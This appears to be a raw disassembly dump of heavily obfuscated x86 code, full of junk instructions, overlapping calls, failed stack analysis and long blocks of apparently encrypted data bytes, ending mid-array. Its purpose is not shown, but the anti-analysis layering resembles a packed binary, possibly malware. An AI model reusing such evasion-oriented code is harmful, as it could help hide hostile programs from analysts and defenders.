loc_612D19: ; CODE XREF: sdfs____:loc_612D12j mov ecx, esi call near ptr loc_612D31+3 locret_612D20: ; DATA XREF: ___:off_4455E8o leave lodsb pop edi pop edx inc esp outsb jl short loc_612D50 out dx, eax push ds push esp test al, 0E9h inc esp mov bh, 70h in al, dx loc_612D31: ; CODE XREF: sdfs____:00612D1Bp call fword ptr [esp+esi*2+0Fh] mov [ecx], al ; --------------------------------------------------------------------------- db 0 dd 5AFC0000h, 8A0FD38Bh, 19h, 14E9h, 10192F00h db 1Bh, 20h ; --------------------------------------------------------------------------- locret_612D4E: ; CODE XREF: sdfs____:00612D59j retn ; --------------------------------------------------------------------------- db 11h ; --------------------------------------------------------------------------- loc_612D50: ; CODE XREF: sdfs____:00612D26j push ecx cmp [eax], dl and [esi-3CF47C1h], ch jnz short locret_612D4E imul eax, esp, -7Fh iret ; --------------------------------------------------------------------------- dec edi imul byte ptr [edx+1Fh] and ecx, 699FB854h jmp loc_612D75 ; --------------------------------------------------------------------------- dw 87F7h dd 1D4981FFh db 0DCh ; --------------------------------------------------------------------------- loc_612D75: ; CODE XREF: sdfs____:00612D69j mov bl, 33h jmp loc_612D87 ; --------------------------------------------------------------------------- lds esp, [edi+edi*4] sub al, 2Ah xchg ah, [eax-51h] add [edi+3Fh], ecx loc_612D87: ; CODE XREF: sdfs____:00612D77j call near ptr loc_612D96+1 movsb inc ecx pop ds mov eax, ds:0D573B59Dh movsd inc ebp loc_612D96: ; CODE XREF: sdfs____:loc_612D87p jmp dword ptr [esi-7Fh] ; --------------------------------------------------------------------------- db 0D7h, 5Eh, 0E6h ; --------------------------------------------------------------------------- pop edi mov dh, 3Eh jnz loc_612DA9 mov cx, 2441h loc_612DA9: ; CODE XREF: sdfs____:00612D9Fj mov bx, si mov cx, si ja loc_612DBA mov esi, 5331C39Ch loc_612DBA: ; CODE XREF: sdfs____:00612DAFj jmp loc_612DD3 ; --------------------------------------------------------------------------- db 60h dd 84C0F8FEh, 97356337h, 0ABFF9107h, 6DE5AB9h db 0AEh, 45h, 0Ah ; --------------------------------------------------------------------------- loc_612DD3: ; CODE XREF: sdfs____:loc_612DBAj mov esi, 43EC037Eh jg loc_612DF8 call sub_612DF2 dec edx js short near ptr dword_612E20 inc esp dec esi ; --------------------------------------------------------------------------- dd 454D8FF0h, 2993C617h db 9Bh, 0D9h ; =============== S U B R O U T I N E ======================================= sub_612DF2 proc near ; CODE XREF: sdfs____:00612DDEp sub si, 956Dh pop eax loc_612DF8: ; CODE XREF: sdfs____:00612DD8j and al, 0BDh mov ah, dl pusha jg $+6 mov ecx, eax popa pusha jmp loc_612E12 ; --------------------------------------------------------------------------- db 2, 0A2h, 1Eh ; --------------------------------------------------------------------------- sar ecx, 1 loc_612E12: ; CODE XREF: sub_612DF2+16j call near ptr loc_612E1B+2 add byte ptr [edi+3Bh], 0EAh loc_612E1B: ; CODE XREF: sub_612DF2:loc_612E12p sal dword ptr [esi], 0Fh sub_612DF2 endp ; sp-analysis failed mov [eax], al ; --------------------------------------------------------------------------- dword_612E20 dd 59000000h, 3DD58061h, 0D9EE8156h, 5E224CC4h, 81D68B66h ; CODE XREF: sdfs____:00612DE4j dd 0EB348FE9h, 81CA8A64h, 0D7EDCCE0h, 0C8E0F40h, 0F000000h dd 686h, 0ACF68100h, 8B7F1FB7h, 51D18BC1h, 5EC18B66h, 13810Fh dd 0EE90000h, 0E1000000h, 0EC0C2698h, 76FA4C1Bh, 4F794EBFh dd 0FF98BA7h, 8B0FFFB7h, 12h, 0BE8h, 0C29E9700h, 15A65595h dd 0F1BA0100h, 60F95AF5h, 0E8CFBF0Fh, 8, 462EB6F2h, 3F27CA05h dd 87244FB8h, 66615811h, 48ACF081h, 44AFBE66h, 5F1CB450h dd 1860Fh, 50F90000h, 5FD0B70Fh, 0F18B6660h, 8E0Fh, 60610000h dd 1840Fh, 0FF90000h, 0E961F8B7h, 8, 2FD0B3h, 3E64669Bh dd 9E892B7h, 9F000000h, 0E08E8FDBh, 752FEBF6h, 5E30D680h dd 66F92FB6h, 8166DF8Bh, 513F7EC3h, 0DE9h, 194E1F00h, 0A0038E1h dd 253B18EEh, 0B6585339h, 5810FB1h, 0BB000000h, 413A76FAh dd 81605957h, 4A0480D2h, 0AE96003h, 0D2000000h, 61E00F04h dd 5B3F87B7h, 12E93Eh, 93060000h, 0AFD03369h, 0D0F38CF1h dd 0EAFDD6EFh, 389F2B33h, 0EFBB6161h, 0B8506CA9h, 0C48655Ch dd 9315BB66h, 66F08B66h, 0E3A5D681h, 0CB8B6660h, 61F6D380h dd 0B5CE8166h, 0DE96059h, 26000000h, 671AD93Ch, 23A9A814h dd 961EA16Eh, 0C7D88166h, 0F38161A0h, 2FB48194h, 0E9F8D38Bh dd 5, 614D732Dh, 0C8B70FDAh, 4800Fh, 50530000h, 820F595Bh dd 4, 5AF08B51h, 46C88166h, 0F08B75Fh, 2084h, 14E800h dd 14700000h, 8010D8F3h, 8FD21EC5h, 3FEFEF1Fh, 3DF16E33h dd 800F8FE0h, 0 ; --------------------------------------------------------------------------- pop esi add edi, 77A401F8h pusha adc esi, 3B421ECh adc di, 1501h popa call sub_61300E and al, 1Ch retn ; --------------------------------------------------------------------------- dd 3629E42Dh db 0C4h, 74h ; =============== S U B R O U T I N E ======================================= sub_61300E proc near ; CODE XREF: sdfs____:00613000p or ebx, 76361C05h pop ecx push eax call sub_61302B dec eax jecxz short near ptr loc_613067+1 les edx, [bx+57h] adc [ecx+74315BBh], ch dec ebp int 0BCh ; used by BASIC while in interpreter sub_61300E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_61302B proc near ; CODE XREF: sub_61300E+8p add di, 2F63h pop edi pop esi jmp loc_613048 ; --------------------------------------------------------------------------- db 0AFh dd 0C3715E3Dh, 0C3B043B0h, 0A0EEC2E1h, 0D5AED6EEh ; --------------------------------------------------------------------------- loc_613048: ; CODE XREF: sub_61302B+7j movzx esi, dx mov esi, 7F83C275h sub cx, 26A2h call sub_613069 sub [ebp-36h], bh pop dword ptr [edi] fld st(3) cwde sub bl, bh jecxz short sub_613075 leave loc_613067: ; CODE XREF: sub_61300E+Ej cmp al, 8Ah sub_61302B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_613069 proc near ; CODE XREF: sub_61302B+2Ap jmp sub_613075 sub_613069 endp ; --------------------------------------------------------------------------- dw 2ED5h dd 0EE25DEABh db 0C1h ; =============== S U B R O U T I N E ======================================= sub_613075 proc near ; CODE XREF: sub_61302B+39j ; sub_613069j pop eax call loc_61308C aaa mov eax, [eax+edx-10A9C164h] cmp al, 70h cmp ebx, ds:0C0475186h std sub_613075 endp ; sp-analysis failed loc_61308C: ; CODE XREF: sub_613075+1p jmp loc_61309B ; --------------------------------------------------------------------------- adc [ebx+23h], eax mov [ebx+4442DD6Dh], ah xchg eax, esi loc_61309B: ; CODE XREF: sdfs____:loc_61308Cj pop edx mov cx, di mov cx, 0C659h push esi mov dh, 73h pop ecx mov ecx, edi mov ah, 0A4h pusha mov edx, edi pusha push eax pop eax jmp loc_6130C5 ; --------------------------------------------------------------------------- enter 0FFFFF53Bh, 29h test [ecx+ebp*8+48h], edx add [edx], esi inc esi adc esi, edi aas dec eax loc_6130C5: ; CODE XREF: sdfs____:006130B1j popa popa mov ax, bx movsx edx, si jmp loc_6130DC ; --------------------------------------------------------------------------- cwde retf 3DCh ; --------------------------------------------------------------------------- dw 9E27h dd 0B03D4152h ; --------------------------------------------------------------------------- loc_6130DC: ; CODE XREF: sdfs____:006130CDj jle $+6 pusha mov edx, 1D5F7038h jmp loc_613100 ; --------------------------------------------------------------------------- db 9Bh, 34h, 0E3h dd 0A46B1316h, 0DB79B2C4h, 53926B91h, 6083085Ch ; --------------------------------------------------------------------------- loc_613100: ; CODE XREF: sdfs____:006130E8j popa jmp loc_61311A ; --------------------------------------------------------------------------- dw 0A734h dd 0DBFD6126h, 0F0450C55h, 0F4DCB5FCh, 4914D6E4h db 4Ah, 5 ; --------------------------------------------------------------------------- loc_61311A: ; CODE XREF: sdfs____:00613101j jmp loc_613124 ; --------------------------------------------------------------------------- db 0F1h dd 0F35CBFFh ; --------------------------------------------------------------------------- loc_613124: ; CODE XREF: sdfs____:loc_61311Aj xor ecx, 16047F34h and eax, 3BD2D365h mov ecx, 4E1B8449h clc clc ja loc_61313E cld loc_61313E: ; CODE XREF: sdfs____:00613137j mov cx, si xor al, 9Ah mov eax, 1342E6EBh call near ptr sub_613159 ; --------------------------------------------------------------------------- dw 0B38Fh dd 4E134B0Ch, 742BEA45h db 0EAh ; =============== S U B R O U T I N E ======================================= sub_613159 proc far ; CODE XREF: sdfs____:00613149p sbb ecx, 4BF78E3Eh pop ecx mov esi, ebx mov ecx, 637C960h mov ebx, 3882B83Eh jl loc_613174 push edx pop ecx loc_613174: ; CODE XREF: sub_613159+13j jge loc_613180 xor ecx, 13773C8Ch loc_613180: ; CODE XREF: sub_613159:loc_613174j jmp loc_613190 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- dw 0EC52h dd 17CA55E1h, 0EDB797E5h ; --------------------------------------------------------------------------- loc_613190: ; CODE XREF: sub_613159:loc_613180j mov di, 9476h mov eax, ecx and si, 2065h movzx edx, di xor edi, 24F4FCD8h jle loc_6131AF adc di, 9B25h loc_6131AF: ; CODE XREF: sub_613159+4Bj jmp loc_6131BD ; --------------------------------------------------------------------------- enter 0FFFFDAA5h, 0A1h push edx cli cmp al, 2Dh pop ss loc_6131BD: ; CODE XREF: sub_613159:loc_6131AFj mov dx, 90D0h and ecx, 4F085878h cmc mov edx, ecx push ebx mov ecx, 0CFCCFB0h pop ebx and eax, 6BA7A8ACh mov cx, 0FEA7h add bh, 0D8h pusha mov edx, ecx and edx, 7E545529h popa mov dh, 41h push ebx mov ecx, 1333E162h pop edi movzx ebx, di mov dx, 44CCh jge loc_613203 push edx mov dx, cx pop eax loc_613203: ; CODE XREF: sub_613159+9Fj call sub_613214 setalc lds edx, [esi+esi*4] dec eax les edx, [esi-4DE6CE34h] cld sub_613159 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_613214 proc near ; CODE XREF: sub_613159:loc_613203p pop edx push eax mov edx, ebx pop ecx adc ecx, 11337300h push edx movzx eax, cx pop ecx sbb ax, 0FF0Ah mov dx, 0ACFCh jmp loc_613243 ; --------------------------------------------------------------------------- dw 0CCB5h dd 27CF5B1Eh, 0EC42F5EAh, 74D173F1h db 8, 8Bh, 0F7h ; --------------------------------------------------------------------------- loc_613243: ; CODE XREF: sub_613214+19j jp loc_61324B mov ecx, edx loc_61324B: ; CODE XREF: sub_613214:loc_613243j xor eax, 5EB035A8h jb loc_613258 stc loc_613258: ; CODE XREF: sub_613214+3Dj call near ptr loc_61325E+5 icebp loc_61325E: ; CODE XREF: sub_613214:loc_613258p db 3Eh rcr dword ptr [ecx-41997D34h], 1 sub_613214 endp ; sp-analysis failed out 5Fh, al pop eax mov di, dx push eax movsx edx, cx pop eax add ah, 9 sbb edx, 7DC339FFh stc mov ebx, 604B795Dh jb loc_613288 sbb ch, 0F6h loc_613288: ; CODE XREF: sdfs____:0061327Fj jmp loc_613297 ; --------------------------------------------------------------------------- db 37h, 0EAh, 0A5h dd 0A9904EA4h db 3Bh, 0E4h, 6Fh ; --------------------------------------------------------------------------- loc_613297: ; CODE XREF: sdfs____:loc_613288j adc cx, 3506h ja loc_6132A3 stc loc_6132A3: ; CODE XREF: sdfs____:0061329Cj mov esi, edi mov di, si sub ax, 6393h mov edx, eax ja $+6 and bh, 0FCh mov dx, bx and ax, 840Dh sbb ebx, 0CCC346Dh mov edi, 111A8BE7h movzx edi, di or dl, 39h push ebx js loc_6132E8 jmp loc_6132E8 ; --------------------------------------------------------------------------- db 5Ch, 0EDh, 0C1h dd 501A18D7h, 0C1DF1BBDh ; --------------------------------------------------------------------------- loc_6132E8: ; CODE XREF: sdfs____:006132D2j ; sdfs____:006132D8j pop edi xor esi, 3F7667E6h push ecx mov edx, ebx pop esi call sub_61330C xchg dh, [ebx] xchg ebp, [ebx-48C9A51Fh] inc edx cmpsb ; --------------------------------------------------------------------------- dw 0E4C4h dd 0C7203F66h, 701B4057h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_61330C proc near ; CODE XREF: sdfs____:006132F3p jmp sub_613318 sub_61330C endp ; --------------------------------------------------------------------------- db 0BDh, 0B5h, 13h dd 77F34130h ; =============== S U B R O U T I N E ======================================= sub_613318 proc near ; CODE XREF: sub_61330Cj pop eax call sub_613329 fbstp tbyte ptr [edx] inc esp push es and al, 0C6h push edx cdq iret sub_613318 endp ; sp-analysis failed ; --------------------------------------------------------------------------- cmc xchg eax, ebp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_613329 proc near ; CODE XREF: sub_613318+1p jmp sub_61333B sub_613329 endp ; --------------------------------------------------------------------------- dw 4395h dd 1B2A3B87h, 8C92392h db 46h, 0CFh, 0D8h ; =============== S U B R O U T I N E ======================================= sub_61333B proc near ; CODE XREF: sub_613329j pop eax ja loc_613359 jmp loc_613359 ; --------------------------------------------------------------------------- db 70h dd 0D3405F32h, 0D17753DBh, 51467290h, 2E70A987h db 0D8h ; --------------------------------------------------------------------------- loc_613359: ; CODE XREF: sub_61333B+1j ; sub_61333B+7j jno loc_61336D jmp loc_61336D ; --------------------------------------------------------------------------- dd 6D5272C4h, 0DF537B6h ; --------------------------------------------------------------------------- stosb loc_61336D: ; CODE XREF: sub_61333B:loc_613359j ; sub_61333B+24j mov bl, 41h add esi, 1C8D036Dh mov di, 88BEh jmp loc_613385 ; --------------------------------------------------------------------------- dw 711Ch dd 8D769851h ; --------------------------------------------------------------------------- pop esi loc_613385: ; CODE XREF: sub_61333B+3Ej jmp loc_613390 ; --------------------------------------------------------------------------- dw 3BABh dd 4D3DECCEh ; --------------------------------------------------------------------------- loc_613390: ; CODE XREF: sub_61333B:loc_613385j pusha mov edi, eax mov edx, 70A87EFCh popa adc dl, 8Bh jmp loc_6133B3 ; --------------------------------------------------------------------------- db 0Fh, 0A3h, 0AAh dd 0A0637402h, 8D71404Dh, 4D0CDD1Fh db 74h, 84h, 0EBh ; --------------------------------------------------------------------------- loc_6133B3: ; CODE XREF: sub_61333B+61j mov cx, bx loc_6133B6: ; CODE XREF: sub_61333B+CEj sbb bx, 9AECh jmp loc_6133D3 ; --------------------------------------------------------------------------- dd 0D52F4BE8h, 0E2CA339h, 936BA091h, 647E7BCh db 75h, 45h, 0Fh ; --------------------------------------------------------------------------- loc_6133D3: ; CODE XREF: sub_61333B+80j mov cx, dx jmp loc_6133E7 ; --------------------------------------------------------------------------- db 0A3h ; --------------------------------------------------------------------------- retn 0E528h ; --------------------------------------------------------------------------- db 2 dd 0E534415h db 0AEh, 0FDh, 72h ; --------------------------------------------------------------------------- loc_6133E7: ; CODE XREF: sub_61333B+9Bj push ebx cmc pop edx mov edx, 6E68B91Fh and edx, 390AC19Ch stc loc_6133F6: ; CODE XREF: sub_61333B+D5j xor al, 0A6h mov si, 8166h or esi, 2384A8Bh call sub_613412 lahf jb short loc_6133B6 loop near ptr loc_613420+1 in eax, 0B6h ; Interrupt Controller #2, 8259A aas jo short loc_6133F6 sub_61333B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_613412 proc near ; CODE XREF: sub_61333B+C8p ; FUNCTION CHUNK AT 00613533 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0061355C SIZE 0000002C BYTES ; FUNCTION CHUNK AT 00613595 SIZE 0000003E BYTES pusha mov di, 0A351h popa pop ebx mov si, ax mov dx, 40C4h loc_613420: ; CODE XREF: sub_61333B+D0j mov edi, 7EC969D7h pusha jge loc_61342F sub cl, 46h loc_61342F: ; CODE XREF: sub_613412+14j popa mov ecx, ebx sub ch, 0A7h sbb ax, 5E45h mov al, 0D1h mov ecx, 6393361Dh sbb al, 38h push ebx sub bx, 365h pop edi jmp loc_613456 ; --------------------------------------------------------------------------- mov al, ds:0B857CF8Bh cwde loc_613456: ; CODE XREF: sub_613412+39j push esi pop ebx cld mov edi, eax cmc adc ah, 0E4h jmp loc_613475 ; --------------------------------------------------------------------------- dd 7BA4C058h, 0DAF57279h, 0D1855491h, 6BAF6AF6h db 0E0h ; --------------------------------------------------------------------------- loc_613475: ; CODE XREF: sub_613412+4Dj mov dx, di pusha jmp loc_613485 ; --------------------------------------------------------------------------- rcl byte ptr [edx+ecx+0Ah], 1 pusha retn ; --------------------------------------------------------------------------- db 0D1h ; --------------------------------------------------------------------------- loc_613485: ; CODE XREF: sub_613412+67j pusha mov si, bx popa popa mov bl, 0D6h movzx ebx, dx cld stc mov bx, ax mov eax, edx jmp loc_6134A6 ; --------------------------------------------------------------------------- dd 0CB5798E8h, 905E7ACDh db 99h, 3Dh ; --------------------------------------------------------------------------- loc_6134A6: ; CODE XREF: sub_613412+85j jmp loc_6134B4 ; --------------------------------------------------------------------------- db 0EAh ; --------------------------------------------------------------------------- adc al, 0ADh adc [ebx-0BF0A79Fh], ebx loc_6134B4: ; CODE XREF: sub_613412:loc_6134A6j jz loc_6134BD mov dx, di loc_6134BD: ; CODE XREF: sub_613412:loc_6134B4j call near ptr loc_6134D4+1 or eax, 50DF2465h dec eax scasb xlat fild qword ptr ds:0CC569D88h jno short loc_613533 setalc dec edi loc_6134D4: ; CODE XREF: sub_613412:loc_6134BDp cmp al, [ecx-781D92Dh] sub_613412 endp ; sp-analysis failed jz short near ptr loc_613533+2 mov ax, dx mov cx, 0CE6Bh mov eax, 1900A73h jge loc_6134F0 mov cl, 9Fh loc_6134F0: ; CODE XREF: sdfs____:006134E8j push edx mov bx, 2D4Fh pop edx call sub_61350E jmp near ptr 0B46B2602h ; --------------------------------------------------------------------------- dd 78708398h, 0E7DE9D80h, 0C8C1C4C9h db 0B8h, 3 ; =============== S U B R O U T I N E ======================================= sub_61350E proc near ; CODE XREF: sdfs____:006134F6p jz loc_613519 sbb ax, 8BE3h loc_613519: ; CODE XREF: sub_61350Ej pop ecx mov di, ax mov ah, dh jmp loc_61352E ; --------------------------------------------------------------------------- dd 539721BBh, 1C870B3h ; --------------------------------------------------------------------------- mov dl, 74h loc_61352E: ; CODE XREF: sub_61350E+11j call sub_613547 sub_61350E endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_613412 loc_613533: ; CODE XREF: sub_613412+BEj ; sdfs____:006134DAj adc ds:71FB26D1h, edx jbe short loc_61353F arpl [eax], si jno short loc_61355C loc_61353F: ; CODE XREF: sub_613412+127j xor al, 3Dh ; END OF FUNCTION CHUNK FOR sub_613412 ; --------------------------------------------------------------------------- db 0C5h, 0C9h, 0Ah db 6Dh, 0DEh, 0B7h ; =============== S U B R O U T I N E ======================================= sub_613547 proc near ; CODE XREF: sub_61350E:loc_61352Ep mov dh, ah pop edx mov esi, 5EB11219h jmp near ptr loc_613560+3 sub_613547 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 339D7F8Ah, 0C11113C4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_613412 loc_61355C: ; CODE XREF: sub_613412+12Bj xchg eax, ebx rcl dl, cl sti loc_613560: ; CODE XREF: sub_613547+8j or eax, 0E78A7FE0h pusha and si, 0C94Dh jbe loc_613573 mov dh, 7Dh loc_613573: ; CODE XREF: sub_613412+159j popa or ah, 58h push esi pusha mov esi, ebx and bh, 0DEh popa pop edx cmc push ecx push eax jmp loc_613595 ; END OF FUNCTION CHUNK FOR sub_613412 ; --------------------------------------------------------------------------- dd 6DFA2D31h, 0E226968Eh, 917CAD41h ; --------------------------------------------------------------------------- push es ; START OF FUNCTION CHUNK FOR sub_613412 loc_613595: ; CODE XREF: sub_613412+171j pop eax pop edx adc edi, 165C66B1h cmc cld and bl, 8Dh push edx pusha push edi pop eax sub ebx, 76C31F5Eh popa pop eax mov al, 4Ch pusha cld cld popa movsx esi, dx mov esi, 21E23CB9h mov cx, bx mov bx, cx pusha mov ecx, ebx popa call sub_6135D3 pop ds push ebx sti sub al, 26h test al, 0BBh pop edx ; END OF FUNCTION CHUNK FOR sub_613412 ; =============== S U B R O U T I N E ======================================= sub_6135D3 proc near ; CODE XREF: sub_613412+1B4p mov dx, ax pop edx jmp loc_6135EF ; --------------------------------------------------------------------------- dd 454D8FF0h, 2993C617h, 8BBFD99Bh, 2831ED8Ch db 4Ah, 3Eh, 74h ; --------------------------------------------------------------------------- loc_6135EF: ; CODE XREF: sub_6135D3+4j jo loc_6135FC jns loc_6135FC cmc loc_6135FC: ; CODE XREF: sub_6135D3:loc_6135EFj ; sub_6135D3+22j add cl, 0A6h jge loc_61360C jbe loc_61360C loc_61360B: ; CODE XREF: sub_6135D3+92j clc loc_61360C: ; CODE XREF: sub_6135D3+2Cj ; sub_6135D3+32j ... mov cl, 0ACh jnz loc_613618 mov ax, 0DB6Ch loc_613618: ; CODE XREF: sub_6135D3+3Bj jmp loc_613626 ; --------------------------------------------------------------------------- db 0E3h, 6, 19h dd 0DDA422A9h db 0F3h, 0B3h ; --------------------------------------------------------------------------- loc_613626: ; CODE XREF: sub_6135D3:loc_613618j mov si, 18F5h mov di, 8684h ja loc_613638 push ebx mov ecx, eax pop esi loc_613638: ; CODE XREF: sub_6135D3+5Bj jmp loc_61364C ; --------------------------------------------------------------------------- db 0EAh, 0DAh, 90h dd 9EA1EEC5h, 0E9BA49A4h, 0BD7F6A66h ; --------------------------------------------------------------------------- loc_61364C: ; CODE XREF: sub_6135D3:loc_613638j pusha mov ecx, 63458AB3h popa pusha xor eax, 1FCFCF5Ah call sub_613671 aas push ecx jle short loc_61360C sub ecx, eax jnp short loc_61360B push esp scasb imul esi, [ecx], 7Eh mov [ebp+38h], esp inc esp push esp sub_6135D3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_613671 proc near ; CODE XREF: sub_6135D3+87p sbb eax, 226D8FEEh pop eax popa sub bl, 75h call near ptr loc_613682+4 xchg eax, edx loc_613682: ; CODE XREF: sub_613671+Bp mov edx, 66FF5264h sub_613671 endp ; sp-analysis failed mov esi, 665AFFA2h adc edi, 816658D7h fild dword ptr [ecx+edi*8] jmp loc_6136A7 ; --------------------------------------------------------------------------- dw 1138h ; --------------------------------------------------------------------------- clc sbb eax, 485BA135h loc_6136A2: ; CODE XREF: sdfs____:loc_6136A2j jnb short loc_6136A2 ; --------------------------------------------------------------------------- db 29h, 98h, 0DEh ; --------------------------------------------------------------------------- loc_6136A7: ; CODE XREF: sdfs____:00613695j jmp loc_6136C0 ; --------------------------------------------------------------------------- dd 1110EFBAh, 0A8132D00h, 5402CA3Eh, 707CD6BCh, 362C6BFBh ; --------------------------------------------------------------------------- loc_6136C0: ; CODE XREF: sdfs____:loc_6136A7j mov ecx, esi cmc pusha or ebx, 7B954FDAh call near ptr loc_6136DA+2 or byte ptr [ebp-7CC47148h], 0A5h and ecx, [edx-59h] insb loc_6136DA: ; CODE XREF: sdfs____:006136CAp sbb bh, [ebx+ecx*4] mov byte ptr [ebx+61h], 0Fh mov al, [eax+eax] ; --------------------------------------------------------------------------- dd 0BA660000h, 0E95268A6h, 0Dh, 2F427687h, 0CF94BA22h dd 2FBC9BC6h, 0DE8158FCh, 45F3B88Bh, 66C2B70Fh, 8B1294BAh dd 0BF0F56CAh, 81665FC8h, 0E8CC68F6h, 0Eh, 0F9DE9706h dd 0F5913D68h, 81096447h, 10E90833h, 0CD000000h, 99905E7Ah dd 1292983Dh, 6F8EA4E5h, 5AA5B5B7h, 0FFAED80h, 48Bh, 0D8BF6600h dd 11E8CCh, 0B5740000h, 2D3A7344h, 6D64EBF5h, 725AA548h dd 8169AF18h, 371C65EBh, 81665F44h, 6667FAD0h, 510B96BEh dd 5E9h, 0A87A3F00h, 815E9F9Fh, 0FBFDD2E9h, 7E84Dh, 9D660000h dd 5EED33D4h, 5B72B2E1h, 0F8D78B66h, 0DE9h, 26B8F500h dd 7D19F2ACh, 0F0BF5831h, 7ABBA096h, 667CF150h, 6378EB81h dd 0C5EB8166h, 3EC38117h, 0F7182B0h, 583h, 0CF816600h dd 8E0F0787h, 8, 44E78160h, 6159EFAFh, 0EBEDBB66h, 0D2BBCA8Ah dd 0B75BBBC0h, 0FE96035h, 4A000000h, 5D2F2338h, 8659824Bh dd 51028955h, 0B70F77CBh, 816661C3h, 8BE7C9F6h, 0E38060FAh dd 6162B2B4h, 0FC7BF0Fh, 483h, 0CFB25100h, 138A0F58h, 60000000h dd 830Fh, 6E90000h, 2F000000h, 84FB2Bh, 0FCBE61E6h, 0F7AFF3Dh dd 178Eh, 12E900h, 0D9C50000h, 0A357C31h, 9D799C01h, 1FC0999Dh dd 0C48BF716h, 0BE9h, 0F333B200h, 9FD838C9h, 6AF5828Fh dd 0AE9h, 4BB70500h, 288C781Ch, 81C8CE1Fh, 9AB946E9h, 0BFDA8B59h dd 639CBC48h, 6AC08166h, 0FFA8BCEh, 8166D2B7h, 8025B8D9h dd 14E89AE2h, 0BC000000h, 6E3DFF93h, 0A4A0849Bh, 0EBB412DBh dd 29B19D05h, 0E8674F39h, 6, 0F34E59FAh, 25B4047Ah, 0B9665E58h dd 0DF8B25C2h, 0B70F7EB5h, 3EF681D0h, 0BE1F8FEBh, 4D0FD09Bh dd 78E0Fh, 8C0F0000h, 1, 0A9B951F8h, 5F17E7BCh, 5850FFCh dd 0BB000000h, 4B925181h, 99C28166h, 0B9E3819Ah, 0F5749C7Ch dd 890FF38Bh, 6, 0D122DB81h, 0FC523716h, 10E85Bh, 0B2F00000h dd 739B10Dh, 0DFB3B0D3h, 34986F29h, 6659D7CEh, 0F3006BFh dd 0E8Eh, 9E900h, 24D60000h, 0B28B8556h, 0FEF3886h, 0F8Eh dd 0AE900h, 26900000h, 0B9A0C34h, 8E35E808h, 860Fh, 81520000h dd 1595DDF2h, 0A1B15941h, 80F7B70Fh, 8A0FB0CBh, 7, 0F59B760h dd 0E961F2B7h, 10h, 75C6A106h, 21A02705h, 0FC1AAC0Eh, 6FE2FC07h dd 13E9h, 0D7F12800h, 0B109B408h, 0B62CEBFDh, 6264CA30h dd 0C9846278h, 0F6BF0F60h, 0BD8FD081h, 0E9615943h, 0Fh dd 0B2741379h, 827CE849h, 72E90ED4h, 509CAF85h, 59C8B70Fh dd 81EA8166h, 0DF8B66D3h, 0C2E88157h, 5F2F982Fh, 0E8B09CBAh dd 0F681661Fh, 8F0F5AEAh, 3, 0FF1BF0Fh, 283h, 0B7C68B00h dd 0CDE580A1h, 58C0FFCh, 0BF000000h, 1276561Ch, 58D18A56h dd 4B9FBB66h, 7CD06ABAh, 9E859h, 448D0000h, 0F274D38Bh dd 8BA19B51h, 0D18B5AC8h, 9FFFE5BAh, 0BE924h, 42AC0000h dd 47E085BDh, 0DE8730A9h, 9850F29h, 0F000000h, 38Fh, 0D2BF0F00h dd 5950D88Bh, 0FE9h, 0E6E05E00h, 98AAD1D1h, 0F60973A9h dd 77442952h, 7E21B966h, 7C18166h, 6800FBFh, 81000000h dd 34E5B4F0h, 0C2B70F3Eh, 9C07CF81h, 5E50696Fh, 0BA9BB66h dd 0E944DB80h, 8, 61F6A694h, 0D337F4EDh, 0FE960h, 79700000h dd 88C04C09h, 534190D6h, 0E58D8735h, 0E6816655h, 0F613A3Fh dd 10E8C0B7h, 23000000h, 49837FD0h, 0E92FEFDFh, 0C85C1381h dd 0F5809CDh, 0F959DEBFh, 0A1DE8166h, 0D5BB66C8h, 9E805h dd 0C9A30000h, 3FCB1988h, 0E919787Fh, 0Fh, 0D2AE1D93h dd 0B5030ABFh, 2DBA95F9h, 5A4B1A75h, 66D78B66h, 3378E081h dd 8E8h, 43484B00h, 24122B48h, 0DBBF0F52h, 0B3D08159h dd 572C7A19h, 665EB2B2h, 2022D781h, 0BBF7EF80h, 421F917Fh dd 1BB4B966h, 5E8h, 0EE678400h, 0F589AF3h, 8Dh, 0BF66FC00h dd 0BA66FE34h, 0D78B59CBh, 17DCB8F8h, 65B62C54h, 11E8h dd 0F25F1400h, 0B239C21Ah, 0DF3F6BDCh, 0F4CED3C5h, 8B0FEA5Eh dd 3, 5FF1BF0Fh, 0AED8F081h, 860F541Fh, 5, 0D1B70F53h dd 0CA8B535Ah, 4DDE815Fh, 0E8339AD2h, 0Ch, 46BB37Ch, 0C3910346h dd 5797490h, 605FCE8Bh, 8E0F60h, 0B7000000h, 61FC6129h dd 6052D38Bh, 0A354DA81h, 0DEBE706Bh, 61096875h, 9870F5Ah dd 60000000h, 0CFB0D081h, 61FC7C90h, 0AAD6BA66h, 0E8F88B66h dd 14h, 48AA162h, 89C96287h, 0FA65234Eh, 3BD50175h, 0B0E79F40h dd 6CB482BBh, 8BF95925h, 14E8FEh, 0FFEF0000h, 5FCDEE79h dd 0FCABD475h, 0CB667826h, 36EEC0C2h, 50B198E3h, 7B9665Fh dd 108D0F2Ah, 0E9000000h, 0Bh, 839A1449h, 4D60347Ah, 8B645880h dd 0E78166C3h, 0D681777Fh, 1C389BC4h, 58D0F60h, 0B9000000h dd 6EFEADD8h, 6890Fh, 860F0000h, 0 dd 6E861h, 0EBA20000h, 0D8485A5Bh, 0BE9h, 0D028A700h, 9D4704CAh dd 0FE03E50Bh, 0DE85Bh, 0A10000h, 63F38D1Dh, 836F1A51h dd 0B1205BF9h, 66FC5BA0h, 0B999CCBEh, 6462AE8Bh, 0CAB70F60h dd 0DE8h, 56ACCA00h, 3B73F31Dh, 0EB71F636h, 585131C0h dd 0CE96158h, 0AC000000h, 6FAC79ADh, 64187145h, 0F5E1FB8h dd 0B8Ch, 5840F00h, 0B9000000h, 14A0A8F5h, 13E957h, 58A60000h dd 4CECCF9Ah, 583094F5h, 0E9A2174h, 